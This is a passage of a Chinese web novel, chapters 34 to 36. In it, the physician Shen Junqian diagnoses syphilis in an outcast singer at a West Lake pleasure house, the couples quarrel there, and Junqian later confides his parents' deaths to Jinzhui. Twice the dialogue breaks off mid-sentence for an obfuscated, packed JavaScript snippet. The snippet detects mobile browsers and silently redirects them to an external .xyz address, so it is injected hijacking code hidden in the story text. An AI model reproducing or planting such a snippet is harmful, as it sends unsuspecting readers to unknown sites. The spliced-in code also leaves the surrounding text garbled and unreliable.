他长叹一声,小心步入同心楼正堂,但觉如芒在背,如履薄冰。众佳人见他这副模样,笃定是她们最爱的那类“在室之男”,皆主动上前招揽。一霎时红袖绿腰,软玉温香,寸寸化作锦绣地狱。 君迁何曾见过这番景象,早已将梁恒托付的正事抛之脑后,转身就逃。佳人们见他如此,愈发来兴,直追着他而去。君迁走投无路,重又拾级而上,一路奔逃至顶层阁楼。回过神时,已不觉闯进走廊尽处一间半掩着的小屋。 屋中看来无人居住,虽是白日却十分昏冥,尘网遍布,霉味袭人。君迁皱了皱眉,正要退出,惊闻暗处幽幽飘来个雨铃似的沙哑女音: “既来了,便坐会儿吧。” 君迁一惊,循声望去,只见屋子深处有张卧榻。塌前小案前依稀坐着个人影,遍身着黑,唯独一头长发是刺目的雪色,缟素般惨白地垂着,遮蔽了她的面容。 君迁失声道:“你是……?” “贵驾远到而来,却不知我是何人么?” 那女子慢慢回过身去,在铜镜前拈起木梳。一面如拨弦般轻抚着满头雪发,一面哑声轻唱起苏小小的那支名曲: “妾乘油壁车,郎骑青骢马。何处结同心?西泠松柏下……” 君迁并不知她所唱何曲,但闻其声凄切似杜鹃啼血,令人悚然生寒,却如有惊心摄魂之力,不禁在原地听怔了。 女子徐徐唱完了歌,隔镜远望闯入者,冷笑道: “看来贵驾与我一般,皆非世中之人了。” 34.惊梦语 却说罗盈袖得知梁恒和君迁青天白日出没于西泠同心楼,当即带着金坠直奔孤山,跨过西泠桥,风风火火闯进这座柳丝烟波之中的歌楼,铁心要将那两个负心郎当场拿住。 盈袖也算这里的常客了,同心楼的姊妹们隔三差五见她来捉人,一面招呼她给她指路,一面掩嘴偷笑等着看好戏。盈袖熟门熟路地往一楼几间雅厢中寻去,扭头吩咐金坠: “我先在这里搜,坠姊姊你去楼上!” 楼中人来人往,歌舞喧嚣,盈袖一眨眼便没了影。金坠头一回来这样的地方,四下环顾,疑心君迁是否当真也在此地。拾阶而上,每一层每一间厢房都紧闭着,无不是吴侬软语莺莺燕燕。金坠头疼得很,又不好一间间去敲门,懊悔来了这是非地。徘徊之际,忽闻头顶阁楼中隐隐飘来一缕凄凉沙哑的女子歌声,唱得正是那曲著名的《苏小小歌》。 这不合时宜的歌声如同一阵倒春寒的阴风,吹得人毛骨悚然。金坠循声步上阁楼,从半掩的门中窥去,只见昏室之中灰尘蛛网密布,当中竟有个伶仃枯槁的身影,正是那唱歌的女子。金坠不曾想这笙歌四起的西湖歌楼上竟索居着一位幽魂,一时骇然。却听那屋中人哑声道: “无需惊慌。我非幽冥之人,更不是苏小小本尊,方才不过同你开个玩笑。贵驾来得匆忙,可是在寻什么?” 金坠以为她在同自己说话,正不知如何回应,忽听那女子凄然一笑,又喃喃道: “我啊,曾是这同心楼中唱曲唱得最好的。以前嗓子没坏时,人家都唤我‘妙音天’。多少人踏破了门,只为听我像方才那般哼上一曲啊……” 她在妆台前转过身来,一头雪白的枯发如面幂遮颜。金坠吓了一跳,忽听另一个声音在屋中说道: “可否让我看看你的脸?” 那分明是沈君迁的声音。金坠一怔,才看清屋里还有个熟悉的身影,正是她那苦寻不见的好夫君。他果然在这里! 金坠又惊又疑,屏息躲在门后听下去。只听那“妙音天”苦笑道: “若在昔日,想看我的脸需花上数金呢——可惜如今我已面目全非,纵倒贴钱给你,你也不会想看的。” 君迁道:“可是染疾所致?” “他们都说我遭报应染上了风癞,不知还能活多久。这屋里不干净,离我远些吧。” 君迁道:“此疾绝非风癞,如若不嫌,请允我上前诊视。” 妙音天道:“你是医者?” 君迁颔首。妙音天分外错愕,踌躇片刻,拨开乱发,露出了自己的脸。君迁举烛上前,俯身望诊。金坠借着微光从门缝中窥去,但见那白发之下满面花疮,一半业已溃烂;眉睫亦悉数脱落,形如厉鬼所化。 金坠从未见过这样可怖的面容,捂着嘴才没惊呼出来。君迁虽有预判,仍为这凄厉病容所惊,平复心神询问病人:“此前可曾寻医求诊?” 妙音天道:“曾有姊妹好心替我求过医药,稍有名气的医者听闻我的症疾,无人愿见我。只偷偷看过几个游医,皆说我此疾为淫邪冥病,无药可医,让我去寺院道观向大德求请攘灾符咒……” 君迁皱眉打断:“方术之言属无稽之谈,百害无益,切勿理会。” “有益与否,凭我此副样貌,纵躲在这楼里也遭人嫌,又如何敢求见神佛?”妙音天冷笑,“依先生之见,我还能活多久?” 君迁冷声道:“妙娘子身染淋毒,疳疮业已上攻头面。若再不医治,一年内恐有性命之虞。” “……淋毒?” “俗称花柳病者。” “不是风癞?”妙音天一惊,“女子……也会得么?” 君迁正色道:“淋毒无分男女,皆可致病。女子多为被染一方,症状更为严重。还请立即服药医治,且应多透风见光,不可于此久居了。” 妙音天一怔,幽幽道:“我染了这不洁之病,人人都避我不及,先生不怕么?” “世间百疾各有其症,无分洁污。”君迁顿了顿,“家母亦是医门中人,曾对此疾有所探研。世人囿于道德成见以绝症视之,患者本人亦羞于求诊,实则此疾与寻常疾病无异,按方诊治便可痊愈,切勿自弃。” 妙音天垂眸:“先生德术双馨,想必是位名医吧?给我这样的人看病,实在辱没你了……” 君迁摇摇头,掏出随身所携的一本小册,向妙音天借笔开了药方,撕下纸张递给她: “请速按此方前去杭州药局购药,若有难处,挂账亦无妨。” “药局?”妙音天一怔,“莫非先生是位医官?” “我日间于此坐诊,妙娘子可自行前来求诊。然药局并无分科,医者亦有限,实难有所助益。”君迁又写了一张字条递给她,“近郊余杭有一位杜姓女医,曾是家母故友,为人亲和,擅治此疾。妙娘子若照此址前去求诊,疗效定佳。” 妙音天如获至宝,惊喜地接过字条。又听君迁道: “目下另有一处施药济病的公共医坊正在筹建,建成后问诊求药皆不收费,且有诸多病科。娘子若有所需,日后亦可前往问诊。” 妙音天郑重言谢,问道:“先生如何称呼?” 君迁本不愿留名,又恐她来药局寻不到自己,遂如实道:“鄙姓沈。” 妙音天感动道:“先生方才说,你母亲曾为许多身患此疾的女子治过病?不知令堂现在何处?” 君迁低低道:“家母……业已谢世多年。” 妙音天轻叹一声,嗫嚅道:“渡人者不可自渡,医人者不可自医……这都是命。” 君迁不语。昏室幽寂,不时可闻窗外鸟语人声交杂,春光喧嚣,恍若隔世。金坠在门外窥见这一切,一时呆住了。就在此时,楼下忽响起一阵气势汹汹的脚步声,须臾便闻盈袖嚷道: “好啊!想不到你沈学士一世英名,竟也是个登徒子!说,将我家梁恒藏到哪儿去了!” 话音未落,门已被砰地撞开。盈袖忿忿闯进阁楼,见屋中暗无天日,霉气熏人,忙蹙眉掩鼻。金坠正要劝她,盈袖已上前指着君迁大骂道: “堂堂一个翰林学士郎,放着家里明媒正娶的不理,竟跑来勾搭这种风尘女——还是个白毛,住在这盘丝洞里,不会是妖精化的吧!我倒要看看,她长得有多好看才勾了你去!” 说着便转向一旁的妙音天,不顾金坠阻拦,伸手便要去扯她遮面的头发。妙音天冷笑一声,转过身去对镜梳头,淡淡道: “这位小娘子莫不是以为,自己嫁了人,便比我这风尘之人高贵么?你我唯一的区别,不过是我在这楼中卖身,你在你夫家卖身——我卖身尚且有进账,你呢?” “你……!” 盈袖恼羞成怒,一时语塞,俄而眼圈一红,竟掩面哭了起来。金坠忙去安慰,瞥向君迁,见他亦错愕而无奈地望着自己。这时又有人在外嚷道: “怎么吵成这般?沈学士你到底找着人没有……” 听见楼上动静,梁恒终于姗姗来迟,一进门撞见盈袖,霎时吓得面无人色。又见她哭得正凶,忙上前搂着她宽慰道: “我的嫡亲心肝儿,好好地怎生哭了?娘子莫哭,千错万错皆是我错!为夫今日来此实为一桩要紧公事,绝不是来花天酒地的,不信你闻闻我这一身的墨水味儿……” 正要替她抹泪,盈袖蓦地抬头狠瞪他一眼,扬手一甩,在他颊上烙下个掌印;还嫌不解气,又从腰上扯下随身携着的那只书袋,一下接一下往梁恒头上狠敲,边敲边骂: “上回说是去什么诗社,还嫌我不识字丢了你的脸面,亏我天天吊着这破玩意被人当书呆子看,你倒好,青楼里的墨水都比自家的香?这么爱喝,教你喝个痛快!” 话落从书袋里取出墨盒揭开,劈头盖脸泼了那负心人一身黑,又将那一袋子文房四宝一股脑往他身上一砸,扬长而去。梁恒当众惨遭娘子一顿痛打,捂着自己乌七八黑的俊脸哀声叫屈: “苍天有眼呐!我说你们怎都干瞪眼看着?——沈大学士,今日之事皆因你而起,我替你两肋插刀却遭娘子误会,你也不替我辩解几句,自个儿倒是琴瑟和鸣!” 君迁无奈道:“你怎样了?” “怎样?破相了!” “……我问的是正事怎样!” 君迁一时也被这对横冲直撞的冤家夫妇折腾怕了,眼见今日公事未毕却以闹剧收场,不禁心烦意乱。金坠一头雾水,正待询问,适才与梁恒一道的鱼鸢儿闻风上楼来,见他们杵在妙音天的阁楼前,惊道: “妙姊姊?你怎么……” 妙音天见了鱼鸢儿,将她携至一旁悄声说了些话,感动地指了指君迁。鱼鸢儿听闻一番始末,亦是感激无限,携了姊妹向君迁道谢: “多谢沈学士无私济难,使我姊姊重见天日!你开的药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124863|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方我记下了,明日我便去药局为姊姊抓药,再陪她一同去余杭求诊。姊姊遭此沉疴缠身已久,蒙君仁心仁术,无以为报……” 梁恒上前道:“有以为报,有以为报!鸢儿好姊姊,我方才在楼下同你说的句句皆是实话,今日我与沈学士来此,实为一桩施药济病的善事,劝说那些丝绸商大老爷们捐些善款,利于我们救死扶伤嘛——你瞧沈学士这不是以身作则,问诊施药来了么……” “晓得了。既为此事,我替你去当个说客也罢了。”鱼鸢儿瞥了眼一脸墨水的梁恒,懒得关心他如何成了个包龙图,催促道,“快走吧,闹了许久,该把人等急了。” 梁恒乌糟糟的脸庞上眉开眼笑:“不急不急,鸢儿姊姊是何等人物,等他们一遭又怎了?千呼万唤始出来嘛——沈学士,你还愣着作甚?快随我下楼去赴那鸿门宴吧!” 君迁看着他那副模样,啼笑皆非:“你不去洗把脸?” 梁恒摆摆手:“洗什么洗,越洗越黑!那几位大官人与我也算旧识了,素知我梁某一向有几分魏晋风采,以墨代酒也是常有之事,不会见怪的!你我正好一个唱黑脸、一个唱白脸,不愁谈不成这桩生意!” 他一番豪言壮志,君迁只得听之任之了。正要随梁恒过去,转身见金坠独立在旁,踌躇如何同她解释,金坠却莞尔一笑,柔声道: “你先去吧,我等你。” 一个时辰后,众人从西泠同心楼中走出。今次楼会虽是一波三折,好在峰回路转,终得圆满收官。 在与众绸商的酒席之上,负责“唱黑脸”的梁恒巧舌如簧,绘声绘色,将施济局一事换了个名号吹得天花乱坠,说这是朝廷暗中钦定的大工程,上利国家下利百姓,名利双收功德无限;又信口臧否人物,语焉不详地说了些关于织造院和官府的见闻,暗示今日缺席的那张大官商多年来如何跋扈逞威,又说那王知州等人勾结贪赃,上头早有意收拾他们,奈何需“放长线钓大鱼”云云,果引得众商深感唇亡齿寒,纷纷扬言要与之割席。席间又有名妓鱼鸢儿助阵唱曲劝酒,暖风熏人妙语笙歌,直将那几位丝绸商哄得眉飞色舞,豪情万丈。 君迁叨陪末座,滴酒未饮,连茶水都不曾沾一口。看着眼前一片声色丑态,但觉如坐针毡。好在梁恒进展顺利,酒过三巡,终于哄得三四位绸商在他提前准备的“撤资契”上画了押。事毕立即收入怀中,拂身而去,深藏功名。 君迁亲临这番鸿门宴,虽看不惯,亦不得不佩服梁恒的口才。走出同心楼时,看到那一片桃红柳绿,只觉柳暗花明眼前一亮,全无来时初见的狎昵之态了。 梁恒虽已把那张黑脸洗白了,身上还沾着被盈袖泼的墨汁,好不潦倒。出来见金坠仍在楼前等着,酸溜溜地对君迁道: “沈学士好福气,得此贤淑佳人相伴!哪像我家门不幸娶了个醋坛子胭脂虎,在外受气,回家还得受气!” 金坠讥道:“梁医正若想让令正变贤淑些,不妨少来此地为妙。” 梁恒讪笑:“我今日不是来谈公事的嘛……” 金坠道:“以前亦是么?” 梁恒语塞,无奈道:“是是是,我可不如你家沈学士持重专情!能在这江南烟花地还做柳下惠者,我看世上也只有你家那位了!” 君迁白了他一眼。金坠冷笑道:“梁医正在大街上还这般多嘴,仔细被听见了,再泼你一身墨水!” 梁恒哼了一声,信步漫游至西泠桥头,远眺西湖山水,正色道:“我是多嘴,金娘子也莫要太自满——据我所知,你家这位正人君子背地里却也有几个芳名远扬的红颜知己呢!” 此言一出,君迁和金坠皆是一凛,异口同声道:“哪有?” “有,当然有!我来数数沈学士的那几位红颜知己吧!”梁恒狡黠一哂,扳着指头数道,“半夏、桔梗、紫萱、花楹……不然,他为何每日都在药草堆里埋着,不就为了陪这些香草佳人么?” 金坠一怔,笑出声来,旋即敛容道:“梁医正还知道哪些佳人的名字,不妨都说出来,我好去捉奸。” 梁恒唯恐天下不乱,继续数着指头报药名:“雪见、紫苏、白蔹、连翘、蔓菁,还有什么来着……哦,茱萸!” 言至此回过头,却见那二人一改前态,似听到什么谶讳似的,竟同时蹙眉垂眸,沉了脸色。梁恒一头雾水,歪头嗔怪: “莫非又怪我多嘴?” 35.桃花煎 是日离开西泠同心楼已近傍晚。君迁将金坠送回家,又与梁恒一同去见苏通判共商施济局之事,深夜方归。金坠莫名被盈袖拉去“捉奸”耽搁了半日,心中虽有疑虑,一时也无暇过问,到家后便回屋做起绣品。 乔隽娘虽已允诺高价雇佣她,金坠毕竟不曾有类似经历,心中忐忑,力臻完美。此前赶制的绣样不免潦草,她遂耐心修缮,增针补线,预备翌日一早便去乔氏绣坊签定契约。春夜融融,虫鸣嘒嘒,丝缕绵绵。她倚在窗前秉烛夜绣,不觉伏案睡去。 次日拂晓,天色微明,屋外忽起一阵嘈杂。金坠惊醒,只见苏合等几个小婢子猫儿似的在庭中窜来窜去,吆喝不断,一会儿上树,一会儿探草丛。 金坠上前问道:“这是怎么了?” 苏合从竹丛中探出身道:“隔壁罗娘子家养的几只金丝雀连夜跑了,偏往咱们这儿飞,大伙儿捉了许久还没捉到呢!娘子可曾见到么?” 金坠还没反应过来,盈袖忽从一旁的假山洞中钻出来,灰头土脸地向她道歉:“对不住啊坠姊姊,大清早吵着你了……” 盈袖昨日在同心楼中一番哭闹后独自跑走,金坠颇为忧心,此刻见她并无异样,松了口气,笑道: “没事,我早醒了。你确定你家的雀儿都在这儿么?我也替你寻寻吧。” “几只小鸟罢了,找不着就算了,跑了乐得自在!我原也打算放生的,哪晓得刚打开笼子它们竟齐嗖嗖往你们家飞……对了,比起这个,坠姊姊你还是快去看看你家那位吧!” 盈袖话音未落,宛童提着只鸟笼儿跑来,激动道:“找着了找着了!最后那只还躲在药庐里偷食呢!” 盈袖如释重负,接过那叽叽喳喳的金雀笼,问道:“宛童,你们家沈学士怎么样了?我看他方才吓得可不轻……” “那几只金丝雀连夜跑到沈学士的药庐里偷食入药用的果子,咱们今早进去寻,一开门便见鸟儿四处扑腾。沈学士就同活见鬼似的,问他也不说话,只自己回屋去了。看他的模样,竟比上回被鹦鹉吓到还严重不少呢!” 盈袖惊道:“猛禽也就罢了,想不到世上竟有人是怕小鸟的!他为何如此?” “天晓得呢,沈学士明明连五毒都不怕的!五娘快去看看他吧!” 宛童还没说完,却见金坠已兀自向东厢君迁屋中而去,又对盈袖道: “罗娘子下回遛鸟可得小心些,我们这里有个炼药的,家里一堆花花果果,专招鸟儿呢!” 盈袖将那只黑檀七宝鸟笼高高提起,望着里头冷笑道: “我就想放了它们,谁知这些不争气的为几口吃的自投罗网,闹成这般。活该关一辈子笼儿!” 宛童笑道:“这些金丝雀儿娇贵得很,纵放出去也没法活的,不如在笼子里好吃好喝安生呢!” 盈袖哼了一声,端着鸟笼走了。宛童见她今日有些古怪,又不好多问,撇了撇嘴,回身招呼几个仍在埋头寻鸟的小婢子去了。 那厢金坠正走到君迁屋前,恰好谢翁从对照而来,见了她十分诧异。金坠问道:“君迁他……没事吧?听说他被隔壁跑来的几只鸟儿吓到了。” 谢翁莞尔:“郎君方才委实吓得不轻,回屋歇息了片刻,眼下许已好些了,娘子不必担忧。” 金坠好奇道:“阿翁可知他为何这般怕鸟?” 老者叹息一声,黯然道:“娘子有所不知,郎君幼时,我家先夫人在山中遭野鸟啄伤,不幸染上恶疾,早早过世了。郎君目睹一切,自此极恐禽鸟,见到鸟羽亦会遍体起恶寒。今日药庐所见之景,于他就是噩梦哩!” “原是如此……多谢告知。”金坠轻叹一声,指着谢翁手中端着一只药盏问道,“这是……?” 谢翁道:“这是郎君常饮的压惊安神煎,刚煎好,小老正要给他送去呢。” 金坠接过药盏:“我来吧。” 自从搬来杭州,二人一直分室而居,这还是她初回造访他的寝房。金坠叩了叩门,端着药盏轻步入室。屋中熏着醒神的冰片香,君迁专注地伏在案前,以为是谢翁进来送药,头也不抬道: “多谢,放在案边便好。” 金坠蹑步过去,搁下药盏。四下环顾,见书桌上方挂着一幅字,清丽秀挺,不知何人所书。金坠觉得这字与意皆美,不禁举目念道: “与万物沉浮于生长之门。” 君迁闻声抬头,讶然地望着她:“你怎么来了……?” “听说你突发不适,我来看看。”金坠走到他身边,“哪儿不舒服?” 君迁低低道:“近日略有些疲累,无妨的。” “家里被几只鸟儿闹得鸡飞狗跳,看着也累。”金坠轻叹一声,“谢翁都告诉我了。我……我先前不知道这些,上回还笑话你,对不住啊。” 君迁一怔,只微笑着摇了摇头。金坠见他面色略有些苍白,问道: “你还好吧?要不寻医来看看?” “不必,我自己会医。” 君迁摇了摇头,复又伏在案前。金坠才发觉桌上摊开了针包,一排长短各异的灸针依次陈列。只见他撩袖露出左臂置于案上,右手取出一枚长针在烛火上略一炙烤,便信手扎了下去。 银针泛着寒光,扎在肉间,十分刺目。金坠不禁倒吸一口凉气,却见君迁面不改色,只是扎着针的手臂微有些发颤,想必是惊惧疲累所致。他调了位置,正要扎下第二枚针,金坠按住他搁在桌上的那只手道: “我替你按着吧。” 君迁触火似的欲缩回手去。金坠紧按住他,正色道: “放心,我不会乱动的,你尽管扎。” “……多谢。” 君迁由她扶住手,终于沉下心,一连往左臂上扎下数针。金坠蹙眉道:“疼么?” “习惯了就不疼。” “我还是第一回见到自己给自己扎针的。要找准穴位很难吧?” “熟能生巧,多练便不难。” “你练了多少回?” “记不得了。上百回总是有的。” “你往自己身上扎了上百针?”金坠倒吸一口凉气,“只为了找穴位?” “祖父遗训,医道唯舍身不可成。”君迁将最后一枚银针插在臂间,“这只是入门。” 金坠望着他扎满银针的手臂,轻轻道:“总听人说你出自三世杏林之家,你祖父是药学泰斗,想必自你出生起便对你寄予厚望吧?” 君迁摇了摇头:“最初祖父并不强求我传承家学。是我自身兴趣使然。” 金坠一怔:“那你父母呢?似乎从未听你谈过他们。” “他们在我儿时便去世了。”君迁嗫嚅,“六岁那年母亲病逝。而后一年,父亲亦故世了。” 金坠踌躇片刻,柔声道:“令堂生前亦从医吧?我昨日在西泠同心楼等你的时候,同那位妙音天娘子聊了一会儿。听说你母亲生前常为像她那样的女子义诊施药……可惜医者不可自医。” 君迁眉眼低垂,凝望着扎进自己臂中的一排银针,慢慢说道: “先母出身药门,一次采药途中邂逅了父亲。儿时,他们常会带着我四处巡诊,为穷病之人治疾施药。六岁那年江州时疫,父亲因公驻京,母亲独自带着我去乡间义诊。离开前,我们去山间采药。母亲救下一只落巢受伤的雏鸟,为之清创时,不慎为鸟喙所伤。不料伤处恶化,母亲病了数日,于归家途中不治……” 金坠闻言,唏嘘不已,又听君迁戚然道: “母亲曾告诉我,人生于世,未必要做出惊天动地的壮举。但凡心怀善愿,纵然只是将一只落巢的鸟儿放回巢中,便不枉此生……可她却因此丢了性命。” 他言至此,抬眸眺向窗外,静聆着报春鸟在庭间啼啭欢歌。 “昔年在江州野外,母亲救下那只雏鸟的时候,为之取名迦陵频伽。她说那是佛经上的妙音鸟,若听到它的歌声,便可结下善缘,此生安乐无忧……我却想问问神佛,何以容得下世间众恶,却令我母亲不得善终?” 金坠不知该说什么。一时无言,君迁抬头望着悬挂在书案上方的那幅书法,喃喃道: “这是母亲手书。出自《黄帝内经》,意思是顺应自然之法,与万物共同生长。幼时母亲教我读书,我刚识字时,第一句学的便是这句。” 他言至此微笑了一下,眼底的悲色中平添无限怀恋。 “母亲总是教导我,医者自身即是活着的药。她教我要活成一味良药,既可医人,亦可自医。参赞天地化育,与万物沉浮于生长之门……” 金坠轻语:“此生福报来世方享。你母亲在天上会安乐无忧的……” 君迁欲言又止,凄凉一笑。金坠咬了咬唇,又道: “那……你父亲呢?” “母亲死后,父亲自责万分,最终摒弃了医道,不顾祖父反对自请随军去往辽东,一年后便死于沙场。” 君迁语毕,容色中已无分外哀戚,只于眼底隐隐藏了些微澜。他忽又自语一般说道: “我曾以为,父亲只是因母亲之死心生绝望,故而弃医。后来才明白,他是因见了太多,认定行医无法救世,最终踏上了自我放逐之路……父母相继去世后,祖父一改宽和前态,亲自教导我药学医理,极尽严苛,方有我今日所成。” 他竭力掩藏忧色,眉目中仍透着往日未见的黯淡,似一池遭春寒之风拂掠的幽潭。金坠懊悔挑起了这沉重话题,故作轻快道: “你这自己给自己扎针的本事,想必也是自小被尊祖父逼着练出来的吧?” 君迁苦笑:“还有尝百草的本事。” “难怪我之前无论灌给你什么苦药,你都能面不改色地咽下去呢!”金坠撇撇嘴,“除了那山茱萸果儿!” 君迁一哂,望着她道:“那毕竟不同。” 暖风入窗徐来,他眼底的哀色已不觉消融在宣明的春光中。清黑的瞳眸亮而深,映得人如行舟中,摇摇荡荡。金坠垂下眼睛,瞥见他的左手仍被自己紧握在掌心,已有些发烫。她连忙移开手,正色道: “你还要扎多久? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131755|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “差不多了。” 君迁亦险些忘了那排插在左臂间的银针。经她提醒,忙伸手去拔。手起针出,仍是面不改色。金坠好奇道: “这都是些什么穴道?扎了有何功效?” 君迁一面拔针,一面指给她道:“内关、神门、孔最、合谷、曲池。各穴针灸功效不同,简言之,可除惊安神,祛疲健体。” 金坠撇撇嘴:“真有那么神奇?” 君迁拔出最后一枚长针举在她眼前:“你要试试么?” 金坠连连后退:“我可谢谢你,你还是自己扎吧!多扎几针,每日有那么多病人指着你看呢,可别病倒了!” 君迁淡淡一哂,将灸针依次摆回针包中收起。金坠见他精神好些了,又道: “对了,我还没问你,昨日你去同心楼谈的那桩公事,进展如何了?” 君迁一怔,只道:“略有进展。” “你们打算建的那施济局,是个什么地方?”金坠见他面露难色,盯着他不放,“怎么,对我也要瞒么?” 君迁意味深长地望着她:“我以为你对这些不感兴趣。” 金坠肃然:“那你以为我对什么感兴趣?捉奸?” 君迁道:“捉到了么?” “要能捉到也好,不枉我去苏小小故居跑一遭!”金坠白他一眼,“昨日盈袖拉着我去那里找你,我还以为你这尊医仙终于想通了,决定降坛畅游红尘乐土呢!原来又是下凡渡劫去的——劫渡得如何?可将那施济局渡出来了么?” 君迁见她有心询问,只得将筹建施济局之事向她简略复述了一番,末了道: “拜梁医正助力,已有几位丝绸商允诺退出侵占药王庙之事。然此事最终取决于织造院和杭州官府,阻碍甚多,前路尚不可测。” 金坠问道:“那个织造院的张官商没出席么?” 君迁摇头:“此人势大,约见不易。” “夺了药王的济世坛场去开锦绣销金窟,也不怕阻风水断财路。”金坠冷笑,“解决那个张官商,建施济局的阻碍是不是就扫清了?” 君迁颔首:“只要阻止他们将药王庙改建为绸行,还回土地,施济局便可按期动工。” 金坠望着他:“你有把握么?” “目下很难。”君迁轻叹一声,见时候不早,起身道,“我该去药局了。” “你把这药喝了再去!” 金坠忙端起搁在案头的汤盏递给他。见他神色犹豫,庄严承诺道: “放心,这是谢翁让送给你的,我可没动手脚!” 君迁接过去,从盏中拈出一物置于指尖:“是么?” 金坠望去,却见那是朵桃花,许是她一路端进屋时落在药盏中的。未及辩解,君迁已举盏饮了起来,仍是那番如人饮水的恬淡神貌。 金坠好奇道:“苦不苦?” 君迁将还剩一半的药盏递给她:“你尝一口?” 金坠嗔道:“我又没病,喝什么药?” 君迁正色:“这不是汤药,是照祖传秘方所制的安神煎。” “什么祖传秘方?” “此汤饮由我曾祖父照古方所合,只于亲族中流传。每传一世,便多一味。祖父和父母都曾向其中添过新方,至今已历四世。” “你添了什么方子?” “还未想好。” 金坠闻言,轻轻一笑,信手拈起那朵他刚捞出来搁在一旁的桃花,重又扔进药盏中。 “那我正好先替你添一味时令药材,驱驱苦味——若嫌不够,外头树上多得是,我再去摘几朵来!” 她不待君迁回应,兀自转身跑出屋去。片刻从庭中攥了一把殷红的桃花捧在掌中回来,天女散花似的洒进他的空药盏中。 “哎呀,你这么快就喝完了,我的新方都来不及合了——你权且收着,下回煎药时别忘了添。” 君迁苦笑道:“此物添得太多,恐无安神之效了。” “心安自安,药方不过是锦上添花。”金坠粲然一哂,“你现在好些了么?” “好多了。”君迁颇为配合地点了点头,“多谢你的新方。” 忽有春风临窗,满室暖融。四目相接,二人蓦地都低下头去。君迁搁下空盏,起身道: “……我该走了。” 若是平常,金坠定会阴阳怪气地向他道句“夫君慢走”。今日却如鲠在喉,捧起那只盛满落红的桃花盏,只轻轻说了声“嗯”。 暮春四月,芳菲将尽,半道桃红零落成泥。行将远去的春风簌簌拂掠,君迁走出家门,猝不及防被红雨淋了满身。他在巷间驻足望去,但见来时缭乱遮眼的夹道桃树已是绿意丛生。只有寥寥三五株仍骄矜地抱守着残花,竭力抵抗风的掠夺。 不出七日,这半道红市便将为初夏浓荫所换——君迁念及此,不由心生怅惘。素日从未有过的感时伤怀无端如晚春残花,徒然落了遍地,几乎将他自身湮没。而他终究无可奈何,只得自嘲似的笑了笑,踏着那半道红泥远去了。 36.金兰契 送走君迁,金坠回到自己屋中。昨夜修缮的几幅样品皆已完成,齐整地铺在绣案上。永不凋谢的奇花异草在春曦下泛着锦辉,莹莹可爱,引人采撷。 照原计划,此刻她该带着这些绣样前往乔氏绣坊,以十金高价售出。可方才与君迁的一番谈话却让她踯躅不前了——他们要对付的那个张官商毕竟是乔隽娘的夫婿。正思忖对策,宛童来报有客至,指名是来找她的。 金坠一怔,心有所感,携上绣作前去迎客。到了堂前,果见一素衣女子娴静端坐,正是乔隽娘。金坠忙上前致礼,隽娘起身还礼,莞尔道: “恕我一早不揣冒昧而来,不曾扰到金娘子吧?” “我正要去拜访乔娘子呢。”金坠赧然道,“贵店生意繁忙,怎好劳烦你亲自登门……” “再忙也不好误了正事。今早正好路过这附近,想着你大抵还未出门,顺便带了契书来。” 隽娘说着,取出一份绣品买卖契据,递给金坠道: “各项条款都照昨日议好的拟定,还有一份我店中的聘约。金娘子过目了,若无异议,便签押吧。” 金坠有些踌躇地接过契书,问道:“乔娘子可曾将我的绣样给买主过目?” “昨日你离开后,我便带着你的绣图去给买主看了。他们爱不释手,当下就想讨几幅回去做手绢玩儿呢。我说这些是我新聘的绣师精工所创,每件只此一幅,还要留着做纹样呢,请她们等成衣制好来取不迟。” 金坠忙取出连夜修缮的绣图递上:“我又新绣了些图样,若是需要,先拿去也无妨的!” 隽娘笑道:“金娘子巧手匠心,雇到了这样能干的绣活好手,看来我不必担心赶不上工期了。” 金坠谦逊一笑,看起隽娘给她的契书,半晌抬头道: “乔娘子,其实我今日实有一事相求——我……我想改一改这份契书上的金额。” 隽娘一怔,微微蹙了蹙。金坠恐她误会,忙解释道: “我的意思是,这些绣品的工费我不收了!但向乔娘子请求一事……” 她顿了顿,寻思如何开口。隽娘望着她,忽问道: “金娘子可是想以这些百草绣图换得真材实料,好让你们的施药济病坊如期开张?” 金坠一凛,错愕道:“乔娘子都已知晓了?” “昨日见你们去西泠同心楼中捉人,晚间又从我家官人处听说,有人请了几位他的同行友商去赴酒宴,哄骗他们签了份什么撤资的契书,我便猜到了。” 隽娘微微一哂,凝望着金坠: “昨日在西泠同心楼,是尊夫与梁医正设下的鸿门宴吧?” 金坠一愣,面露难色,不知如何回应隽娘的质问。隽娘叹息一声,正色道: “行商讲求耳目灵通,勾栏酒肆并非洽谈的好去处。金娘子既已了然,我也直言了——听说尊夫此行,是为在凤凰山脚下筹建一处病坊?” 事已至此,金坠索性向她坦白了,遂将先前想好的说辞娓娓道来: “尊夫家大业大,产业甚众,想必也不差那一处绸行。施药济病关乎民生福祉,可否烦请乔娘子劝说尊夫,请他暂让出凤凰山药王庙的那块地,好按期改建公共病坊,造福桑梓?倘若乔娘子肯卖我薄面,我今次的这些绣图工费分文不收。贵店今后若有活计,我也愿来无偿帮工……” 隽娘耐心听她说完,苦笑道: 